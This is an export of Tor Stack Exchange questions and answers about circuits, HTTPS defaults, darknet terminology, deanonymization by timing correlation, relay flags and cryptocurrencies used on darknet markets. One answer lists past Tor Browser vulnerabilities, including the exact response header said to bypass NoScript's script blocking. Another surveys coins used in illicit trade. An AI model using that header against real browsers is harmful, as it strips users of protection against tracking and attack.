  <row Id="22038" PostTypeId="1" CreationDate="2021-02-14T17:39:40.530" Score="0" ViewCount="380" Body="&lt;p&gt;I'm currently using the &lt;code&gt;NEWNYM&lt;/code&gt; signal to programmatically replicate the functionality of changing Tor circuits. However, it seems that this doesn't always function as intended and for certain sites retains the same circuit, which does not happen when I click the 'New Tor Circuit For This Site' button.&lt;/p&gt;&#xA;&lt;p&gt;Do I need to perform any additional functionality apart from sending the &lt;code&gt;NEWNYM&lt;/code&gt; Signal, to replicate the behavior of the 'New Tor Circuit For This Site' button?&lt;/p&gt;&#xA;" OwnerUserId="31744" LastActivityDate="2022-03-11T23:01:40.140" Title="Signal NEWNYM vs 'New Tor Circuit for this site '" Tags="|tor-browser-bundle|circuit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22039" PostTypeId="1" CreationDate="2021-02-14T17:46:33.460" Score="1" ViewCount="193" Body="&lt;p&gt;There are many onion services such as Talk to John Doe and OnionChat which have anonymous chatrooms. How do they connect random users and let them chat with each other. How anonymous are users when they use these chatrooms (I know this depends on each individual website, but is there some anonymity taken when using such services in general)? Also, what are some ways I can tell if these chatrooms are or aren't that secure and private (HTTPS websites hosting chatrooms are encrypted and thus more private right)?&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-02-16T20:22:09.040" LastActivityDate="2021-02-16T20:22:09.040" Title="How do onion services host anonymous chatrooms and what level of anonymity is present when using one?" Tags="|onion-services|anonymity|security|deanonymization|chat|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22040" PostTypeId="1" AcceptedAnswerId="22051" CreationDate="2021-02-14T20:28:46.733" Score="0" ViewCount="855" Body="&lt;p&gt;Unencrypted HTTP protocol does not protect data from being modified or intercepted. Without a secure connection, the user could be tracked and monitored, deanonymizing them. However, the Tor browser does not enable by default HTTPS connections after installation. It's only advised to make sure that the user is using an HTTPS connection in the Tor Project manual. Some users may not realize this and this could potentially expose them. The HTTPS Everywhere addon already comes pre-intsalled and it contains an option to block unencrypted requests. So why isn't this enabled by default or why isn't the Tor browser blocking HTTP connections without using the addon?&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-02-16T20:24:23.893" LastActivityDate="2022-08-08T17:59:14.533" Title="Why doesn't Tor browser block HTTP by default?" Tags="|security|connection|https|settings|private|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22041" PostTypeId="2" ParentId="22038" CreationDate="2021-02-14T20:38:19.783" Score="0" Body="&lt;p&gt;The &lt;code&gt;NEWNYM&lt;/code&gt; signal doesn't change circuits for existing connections, it only marks existing circuits as &amp;quot;dirty&amp;quot;, which makes them unusable for &lt;em&gt;new&lt;/em&gt; connections. So in addition to sending a &lt;code&gt;NEWNYM&lt;/code&gt; signal, you probably want to also close all existing connections.&lt;/p&gt;&#xA;&lt;p&gt;I think that Tor Browser itself doesn't use the &lt;code&gt;NEWNYM&lt;/code&gt; signal, but instead uses &lt;a href=&quot;https://2019.www.torproject.org/docs/tor-manual.html.en#SocksPort&quot; rel=&quot;nofollow noreferrer&quot;&gt;stream isolation&lt;/a&gt; features of tor. For example, by using a different SOCKS password, tor will use a different circuit for that connection.&lt;/p&gt;&#xA;&lt;p&gt;Tor Browser may do other things as well, but I'm not sure. For example the Tor Browser design document mentions you should also not reuse existing &amp;quot;HTTP Keep-Alive&amp;quot; connections. (See &amp;quot;Tor circuit and HTTP connection linkability&amp;quot; in &lt;a href=&quot;https://2019.www.torproject.org/projects/torbrowser/design/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://2019.www.torproject.org/projects/torbrowser/design/&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-02-14T20:38:19.783" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22042" PostTypeId="1" AcceptedAnswerId="22045" CreationDate="2021-02-16T06:45:15.737" Score="2" ViewCount="2489" Body="&lt;p&gt;Hidden services and darknet seem to be conjoined concepts, although distinct as the former seems to be a feature of the latter, not vice versa. But the description of the &amp;quot;clearnet&amp;quot; tag reads&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Clearnet applies to any outside service on the regular Internet that&#xA;might be accessed by hidden services&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;which confuses me since hidden services now sounds to be more of a protocol or hardware-mechanism than even darknet.&lt;/p&gt;&#xA;&lt;p&gt;To those who only use &amp;quot;clearnet&amp;quot; and completely oblivious to the existence of darknet, why do not &lt;em&gt;they&lt;/em&gt; refer to the web or internet as &amp;quot;clearnet&amp;quot;? Is clearnet merely a construct of &lt;em&gt;how the web is accessed via hidden services&lt;/em&gt;?&lt;/p&gt;&#xA;" OwnerUserId="31488" LastActivityDate="2021-02-16T13:53:06.683" Title="What's the difference between darknet, clearnet and hidden services?" Tags="|onion-services|onion-routing|darknet|clear-net|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22043" PostTypeId="1" CreationDate="2021-02-16T06:51:51.500" Score="0" ViewCount="235" Body="&lt;p&gt;Using Tor by itself gives anonymity, but I heard that you must avoid opening a clearnet web browser at the same time as Tor otherwise it can leak your identity.&lt;/p&gt;&#xA;&lt;p&gt;Why and how does the second browser compromise your Tor activity?&lt;/p&gt;&#xA;&lt;p&gt;Does switching between browsers repeatedly somehow break your onion routing?&lt;/p&gt;&#xA;" OwnerUserId="31488" LastActivityDate="2021-02-16T13:13:02.357" Title="Why does having a second non-Tor browser open compromise your anonymity on Tor?" Tags="|tor-browser-bundle|anonymity|onion-routing|browsers|clear-net|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22044" PostTypeId="2" ParentId="22043" CreationDate="2021-02-16T13:13:02.357" Score="1" Body="&lt;p&gt;&lt;strong&gt;Timing Attacks:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Having another non-Tor browser open will deanonymize you if it is correlated with the information the other browsers/programs provided. This means that you should avoid visiting the same websites, using the same accounts, etc.&lt;/p&gt;&#xA;&lt;p&gt;Assume that you have two accounts on a website, a public account which you access with a regular connection and a private account which is only accessed through Tor. Let's say your public account has your identifiable information while your private account does not.&lt;/p&gt;&#xA;&lt;p&gt;The person who owns the website and other people can see how your public account and private account are always connecting at the same time, but never interact with each other. Thus, it wouldn't be hard to correlate the two accounts and so you will be exposed while using Tor.&lt;/p&gt;&#xA;&lt;p&gt;There are other suspected ways where your anonymity could be compromised such as a website measuring your normal internet traffic and estimating your tor traffic speed (with the hops) and getting the estimated speed right if you visit the website, or a the supposed idea of cookie extraction. However, timing attacks are the strongest reason to avoid using another non-Tor browser at the same time.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastActivityDate="2021-02-16T13:13:02.357" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22045" PostTypeId="2" ParentId="22042" CreationDate="2021-02-16T13:45:20.010" Score="2" Body="&lt;p&gt;First, let's establish the proper definitions of each term:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;The clearnet:&lt;/strong&gt; the publicly available internet. This is the surface web, the part of the web that can be accessed by search engines.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Darknet:&lt;/strong&gt; A darknet is an overlay network within the Internet that can only be accessed with specific software, configurations, or authorization, usually using a unique communication protocol.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Hidden services:&lt;/strong&gt; Hidden services or onion services are the websites that make up the dark web. These websites are still part of the internet, but do not want to be found. They make up a sliver of the deep web (the deep web is the internet that cannot be indexed by search engines). Hidden services end in a &amp;quot;.onion&amp;quot; and their url is usually made up of a sequence of random characters (for example DuckDuckGo's hidden service, has a URL of 3g2upl4pq6kufc4m.onion). These hidden services can only be accessed with the Tor network (a darknet) which is configured to access hidden services.&lt;/p&gt;&#xA;&lt;p&gt;Now that we know what each term means, let's answer the question. Now the tag's definition is a little confusing, but basically the tag is sort of right. It says:&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;Clearnet applies to any outside service on the regular Internet&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;which is true, given that the &amp;quot;regular internet&amp;quot; means the surface web which is what the clearnet is. However, what is a little confusing is that the tag also states that hidden services may access the clearnet. But what this means is that hidden services may also use features or things that are from the normal internet such as Captchas, etc. And if you keep reading the tag, they provide and example where the Silk Road used a Captcha (which is from the normal surface web) which is how they got caught. What the tag says is true, albeit in a confusing manner. Just stick with the definition above.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-02-16T13:53:06.683" LastActivityDate="2021-02-16T13:53:06.683" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22046" PostTypeId="2" ParentId="21907" CreationDate="2021-02-16T14:04:58.640" Score="1" Body="&lt;p&gt;It is possible, but highly unlikely. No matter what steps are taken, true anonymity is never possible. If someone was running an illegal business, the authorities would eventually find them and arrest them.  Nobody is ever completely anonymous and can be identified if there was enough effort into doing so. It takes just one vulnerability in an illegal website someone is hosting for them to be hacked an identified. This vulnerability depends on the situation though (and I don't know many since the authorities don't always say how they catch these hidden services). The Silk Road was supposedly taken down by a Captcha which leaked an IP address. If someone using Tor accidentally gave personal information, they would be exposed. If someone was buying a product, they are also at risk of their package being intercepted or their buyer revealing them or their buyer being someone who worked for or with law enforcement.&lt;/p&gt;&#xA;&lt;p&gt;However, the normal privacy-minded user would most likely stay mostly anonymous with the setup in question and unless they are doing something illegal, they probably won't get indentified except if the Tor browser or Tails OS has some sort of vulnerability (unlikely, but possible) which a hacker could use to expose you. Or if you accidentally downloaded some sort of malware or spyware that modified your Operating System so much that Tails OS can't wipe this malware or spyware, though most Tor users are cautious enough not to. So other than getting hacked, I don't really know any way a normal user with your setup could be indentified. I mean it is &lt;strong&gt;always possible&lt;/strong&gt;, but it really just depends on what the user is doing and what precautions are they taking and precautions they aren't taking.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;List of Tor browser vulnerabilities in the past:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;NoScript addon vulnerability: Before Tor browser 8.0.1, even with safest mode, JavaScript could still be executed. he attack works when the attacker adds the following HTTP header in the response: Content-Type: text/html;/json&lt;/p&gt;&#xA;&lt;p&gt;Discovered by: Zerodium&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Tor Browser through 8.5.3 has an information exposure vulnerability. It allows remote attackers to detect the browser's language via vectors involving an IFRAME element, because text in that language is included in the title attribute of a LINK element for a non-HTML page. This is related to a behavior of Firefox before 68.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Tor Browser before 8.0.1 has an information exposure vulnerability. It allows remote attackers to detect the browser's UI locale by measuring a button width, even if the user has a &amp;quot;Don't send my language&amp;quot; setting.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Tor Browser on Windows before 8.0 allows remote attackers to bypass the intended anonymity feature and discover a client IP address. User interaction is required to trigger this vulnerability. Even the this does not apply for Tails OS, it just shows that the Tor browser is susceptible to hacks and snooping.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://tinyurl.com/b4bsckls&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tinyurl.com/b4bsckls&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Basically, a lot of vulnerabilities of the Tor browser were those which existed in Firefox as the Tor browser is built on Firefox. Hackers and governments pounce on these vulnerabilities and use them to expose Tor browser users. It is thought that the government may have used the NoScript vulnerability according to: &lt;a href=&quot;https://www.pcmag.com/news/tor-browser-has-a-flaw-that-governments-may-have-exploited&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.pcmag.com/news/tor-browser-has-a-flaw-that-governments-may-have-exploited&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Also as a sidenote, if the person is using Tor from a public area with a security camera, the authorities can view the footage and find out the physical appearance fo the user making it possible to pinpoint their identity.&lt;/p&gt;&#xA;&lt;p&gt;So to answer your question, it's very unlikely that your identity could be found or your hometown, especially if you aren't doing anything illegal. However, the atuhorities can still find you if the Tor browser or Tails OS has a vulnerability (where the authorities can use to gain access to your device), you download some sort of extremely hard to remove malware/spyware, or you are caught through a security camera.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-02-17T00:49:24.187" LastActivityDate="2021-02-17T00:49:24.187" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="22047" PostTypeId="1" AcceptedAnswerId="22056" CreationDate="2021-02-16T15:36:14.033" Score="1" ViewCount="69337" Body="&lt;p&gt;Torch is a darknet search engine (URL: &lt;a href=&quot;http://cnkj6nippubgycuj.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://cnkj6nippubgycuj.onion/&lt;/a&gt;). It indexes new hidden services every day. You can search anything on it (it's uncensored). It's the oldest and longest running search engine on Tor. According to their wordpress site, &lt;a href=&quot;https://torchsearch.wordpress.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://torchsearch.wordpress.com/&lt;/a&gt;, they &amp;quot;have over one billion dark net pages indexed&amp;quot;. How is this possible? The dark web only makes up a small portion of the entire internet and yet Torch claims they have more than a billion dark web sites? Is there any truth to this statement? Are there more than a billion darknet sites and did Torch really index that many? Also, how does Torch sort through their entire index to choose websites relevant to the users' search? Please provide some clarification for this. Thank you.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&#xA;Apparently, Torch is also contradicting their previous statement by saying they've indexed only 2 million hidden services here: &lt;a href=&quot;http://cnkj6nippubgycuj.onion/about&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://cnkj6nippubgycuj.onion/about&lt;/a&gt;. I'm even more confused as to how many sites Torch has indexed and how their processes work. Please explain. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-06-15T16:08:39.217" LastActivityDate="2021-06-15T16:08:39.217" Title="Does Torch, a darknet search engine, really index 1 billion hidden services?" Tags="|onion-services|darknet|url|research|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="22048" PostTypeId="1" AcceptedAnswerId="22049" CreationDate="2021-02-16T18:26:26.547" Score="1" ViewCount="716" Body="&lt;p&gt;&lt;a href=&quot;https://tinyurl.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tinyurl.com/&lt;/a&gt; allows you to shorten URLs. Suppose I shorten the hidden service for DuckDuckGo (&lt;a href=&quot;https://3g2upl4pq6kufc4m.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://3g2upl4pq6kufc4m.onion/&lt;/a&gt;) to make it: &lt;a href=&quot;https://tinyurl.com/2lxqxljq&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tinyurl.com/2lxqxljq&lt;/a&gt;. This link redirects to a hidden service meaning you can only view the hidden service through the Tor network. But the tinyurl isn't a hidden service, it only redirects to a hidden service (there is a Captcha Tor users have to fill out). Does this make this specific URL, &amp;quot;https://tinyurl.com/2lxqxljq&amp;quot; part of the deep web, dark web, or what?&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-02-16T19:46:13.950" LastActivityDate="2021-02-16T21:21:06.417" Title="Would a url shortened link redirecting to a hidden service be considered part of the dark web?" Tags="|onion-services|darknet|url|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="22049" PostTypeId="2" ParentId="22048" CreationDate="2021-02-16T20:44:18.590" Score="0" Body="&lt;p&gt;&lt;code&gt;.com&lt;/code&gt; sites are not part of the darknet. Only &lt;code&gt;.onion&lt;/code&gt; sites are.&lt;/p&gt;&#xA;&lt;p&gt;a &lt;code&gt;.com&lt;/code&gt; that redirects/forwards to wherever it forwards doesn't change the fact that it is a clearnet &lt;code&gt;.com&lt;/code&gt;. you might not think there is content for the tinyurl, but there is DNS resolve going on in the background since the &lt;code&gt;.com&lt;/code&gt; TLD runs on DNS to carry out any operation, including the protocol to forward elsewhere.&lt;/p&gt;&#xA;&lt;p&gt;If Tor is not used on the tinyurl, it doesn't matter if the &lt;code&gt;.com&lt;/code&gt; can't reach its forwarded destination. you still put miles into traveling the &lt;code&gt;.com&lt;/code&gt; as explained in my previous comment regarding DNS resolve, and are just stopped when you get to the border leading to darknetland. Without Tor, there technically was no darknet site accessed whatsoever by going to the tinyurl. only a failed attempt at entry, which was only the second leg of the journey&lt;/p&gt;&#xA;" OwnerUserId="31488" LastEditorUserId="31488" LastEditDate="2021-02-16T21:21:06.417" LastActivityDate="2021-02-16T21:21:06.417" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="22050" PostTypeId="1" CreationDate="2021-02-16T20:52:17.317" Score="1" ViewCount="279" Body="&lt;p&gt;Blockchain technology has given rise to something called &amp;quot;decentralized domains&amp;quot; like &lt;code&gt;.crypto&lt;/code&gt; that cannot be censored, nor rented (in the case of &lt;a href=&quot;http://namebase.io&quot; rel=&quot;nofollow noreferrer&quot;&gt;namebase.io&lt;/a&gt;), unlike DNS domains like &lt;code&gt;.com&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Is the &lt;code&gt;.onion&lt;/code&gt; domain decentralized? or how does it compare to blockchain domains in terms of decentralization. Clearly both cannot be censored. Is onion routing itself an indirect form of decentralization?&lt;/p&gt;&#xA;" OwnerUserId="31488" LastActivityDate="2021-10-03T15:05:46.977" Title="Are .onion sites decentralized?" Tags="|onion-services|onion-routing|dns|bitcoin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22051" PostTypeId="2" ParentId="22040" CreationDate="2021-02-16T20:52:36.480" Score="3" Body="&lt;p&gt;It's not enabled by default because it would block a significant fraction of the Internet for users. Blocking HTTP-only traffic will likely come in the future once Tor Browser is using a version of Firefox with &lt;a href=&quot;https://blog.mozilla.org/security/2020/11/17/firefox-83-introduces-https-only-mode/&quot; rel=&quot;nofollow noreferrer&quot;&gt;HTTPS-only mode&lt;/a&gt;, and once the developers feel they can do it while minimizing the usability impact (for example providing documentation to explain why it was blocked, allowing the user to bypass the block, etc).&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/40294&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/40294&lt;/a&gt;&lt;br /&gt;&#xA;&lt;a href=&quot;https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/19850#note_2723899&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/19850#note_2723899&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; The Tor Browser now uses HTTPS-only mode on desktop by default: &lt;a href=&quot;https://blog.torproject.org/new-release-tor-browser-115/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/new-release-tor-browser-115/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Starting in Tor Browser 11.5, HTTPS-Only Mode is enabled by default for desktop, and HTTPS-Everywhere will no longer be bundled with Tor Browser.&lt;/p&gt;&#xA;&lt;p&gt;Why now? Research by Mozilla indicates that the fraction of insecure pages visited by the average users is very low – limiting the disruption caused to the user experience. Additionally, this change will help protect our users from SSL stripping attacks by malicious exit relays, and strongly reduces the incentive to spin up exit relays for Man-in-the-Middle attacks in the first place.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="24966" LastEditorUserId="24966" LastEditDate="2022-08-07T23:47:08.297" LastActivityDate="2022-08-07T23:47:08.297" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22052" PostTypeId="1" AcceptedAnswerId="22053" CreationDate="2021-02-16T21:17:36.677" Score="1" ViewCount="74" Body="&lt;p&gt;Besides bitcoin and monero, has the crypto and decentralized finance (DeFi) boom given rise to any sort of other illicit trade or past-time surrounding the thousands of altcoins in circulation on clearnet crypto exchanges, given that many of the new cryptocurrencies have new functionalities like smart contracts, staking, sharding (scaling), borrowing/lending, insurance, be-your-own-bank powers, etc?&lt;/p&gt;&#xA;&lt;p&gt;Do any of the new coins and tokens present new avenues to proliferate illegality on the darknet that is wholly unique from simply barter transactions and payments as done with bitcoin and monero?&lt;/p&gt;&#xA;" OwnerUserId="31488" LastEditorUserId="31488" LastEditDate="2021-02-16T21:24:42.700" LastActivityDate="2021-02-16T21:47:38.673" Title="What other cryptocurrencies and financial innovations are gaining adoption on the darknet besides Bitcoin and Monero?" Tags="|darknet|bitcoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22053" PostTypeId="2" ParentId="22052" CreationDate="2021-02-16T21:37:02.480" Score="1" Body="&lt;p&gt;Here are some crypto currencies other than Bitcoin, Monero, and DeFi that are used on the dark web:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Litecoin&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Litecoin is in a structural way similar to Bitcoin However, it has faster processing times as compared to Bitcoin and can be stored in offline wallets. Litcoin is growing popular and is definitely a major crypto currency used in the dark web. However, this isn't a completely anonymous crypto currency.&lt;/p&gt;&#xA;&lt;p&gt;Website: &lt;a href=&quot;https://litecoin.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://litecoin.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Dash&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Dash also known as Darkcoin, is an open source crypto currency used on the dark web. It uses the coinjoin technique that mixes the transactions of various users in a bid to mask important transaction. It s an altcoin that was forked from the Bitcoin protocol.&lt;/p&gt;&#xA;&lt;p&gt;Website: &lt;a href=&quot;https://www.dash.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dash.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Zcash&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Zcash is a cryptocurrency that uses cryptography for enhanced privacy unlike other cryptocurrencies. It is also used on the dark web, though research has shown that criminals using it do not understand it completely (&lt;a href=&quot;https://www.fxstreet.com/cryptocurrencies/news/research-shows-that-criminals-using-zcash-in-the-dark-web-dont-know-how-to-use-its-anonymityl-202005082300&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.fxstreet.com/cryptocurrencies/news/research-shows-that-criminals-using-zcash-in-the-dark-web-dont-know-how-to-use-its-anonymityl-202005082300&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;Website: &lt;a href=&quot;https://z.cash/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://z.cash/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Overall, there are many crypto currencies being used other than Bitcoin, Monero, and DeFi, but most of them aren't as widely known or used as Litecoin, Dash, or Zcash. I only listed three because these are really the only other cryptocurrencies being widely used. Bitcoin is still popular but these are some other crypto currencies that have also become more widespread recently.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-02-16T21:47:38.673" LastActivityDate="2021-02-16T21:47:38.673" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="22054" PostTypeId="1" AcceptedAnswerId="22146" CreationDate="2021-02-16T22:16:35.817" Score="1" ViewCount="3439" Body="&lt;p&gt;After installing the Tor browser, the user's default search engine is &lt;a href=&quot;https://duckduckgo.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://duckduckgo.com&lt;/a&gt;. However, it make more sense for the user to search with DuckDuckGo's onion service. This way all the routing happens over Tor, making the user more anonymous and private. So why does the Tor browser come with the default search engine of &lt;a href=&quot;https://duckduckgo.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://duckduckgo.com&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="31632" LastActivityDate="2021-03-14T21:11:11.190" Title="Why does the Tor browser come with DuckDuckGo (normal) as the default search engine and not DuckDuckGo onion?" Tags="|tor-browser-bundle|onion-services|anonymity|onion-routing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22055" PostTypeId="1" AcceptedAnswerId="22057" CreationDate="2021-02-16T22:31:13.493" Score="0" ViewCount="178" Body="&lt;ol&gt;&#xA;&lt;li&gt;How does Tor classify fast/slow relays (as in what is the bandwidth bar)?&lt;/li&gt;&#xA;&lt;li&gt;Is the Tor Path Selection protocol biased towards selecting fast relays for circuit construction? (The answer here &lt;a href=&quot;https://tor.stackexchange.com/questions/113/how-does-a-tor-client-pick-tor-nodes-for-circuit-creation/231#231&quot;&gt;How does a Tor client pick Tor nodes for circuit creation?&lt;/a&gt; states the bias but I am unsure if this is still the case.)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;I am still trying to find my answers here (&lt;a href=&quot;https://github.com/torproject/torspec&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/torproject/torspec&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="31466" LastActivityDate="2021-02-17T06:04:42.473" Title="Fast/Slow relays in Tor" Tags="|relays|circuit|bandwidth|fast-relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22056" PostTypeId="2" ParentId="22047" CreationDate="2021-02-17T03:13:46.990" Score="1" Body="&lt;p&gt;A &amp;quot;page&amp;quot; and a &amp;quot;site&amp;quot; are different things.  For example, Wikipedia is just one site, but it has &lt;a href=&quot;https://en.wikipedia.org/wiki/Special:Statistics&quot; rel=&quot;nofollow noreferrer&quot;&gt;52,702,416 pages&lt;/a&gt;.  If Torch has indexed two million hidden services, then it only requires an average of 500 pages per service to get the claimed billion pages.&lt;/p&gt;&#xA;" OwnerUserId="6759" LastActivityDate="2021-02-17T03:13:46.990" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22057" PostTypeId="2" ParentId="22055" CreationDate="2021-02-17T03:50:40.130" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;From the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;directory spec&lt;/a&gt;, the threshold is almost always 100 KB/s.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;A router is 'Fast' if it is active, and its bandwidth is either in the top 7/8ths for known active routers or at least 100KB/s.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Yes the Tor path selection algorithm is weighted by relays' consensus weights and is described in the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/path-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;path spec&lt;/a&gt; document.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The actual way that these numbers are calculated is not straightforward. For example, bandwidths for flags are computed by the function &lt;a href=&quot;https://github.com/torproject/tor/blob/4f114f59e62397fba98b17e1394adfa29e3de78b/src/feature/dirauth/bwauth.c#L172&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;dirserv_get_credible_bandwidth_kb()&lt;/code&gt;&lt;/a&gt; which depends on the measured and advertised bandwidths (and the advertised bandwidth depends on the observed bandwidth). The threshold for the &lt;code&gt;Fast&lt;/code&gt; flag is computed in &lt;a href=&quot;https://github.com/torproject/tor/blob/4f114f59e62397fba98b17e1394adfa29e3de78b/src/feature/dirauth/voteflags.c#L231&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;dirserv_compute_performance_thresholds()&lt;/code&gt;&lt;/a&gt;. Consensus weights also have a complicated calculation which you can find in the &amp;quot;3.8.3. Computing Bandwidth Weights&amp;quot; section of the directory spec document.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastEditorUserId="24966" LastEditDate="2021-02-17T06:04:42.473" LastActivityDate="2021-02-17T06:04:42.473" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22058" PostTypeId="1" CreationDate="2021-02-17T11:34:58.760" Score="1" ViewCount="554" Body="&lt;p&gt;a pop up window shows up asking what to do with the file instead of playing it in the browser.&lt;/p&gt;&#xA;&lt;p&gt;I just reinstalled tor and before the reinstallation it worked just fine&lt;/p&gt;&#xA;" OwnerUserId="31763" LastActivityDate="2021-02-17T11:34:58.760" Title="Tor browser downloading MPEG-4 videos instead of playing them" Tags="|help|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
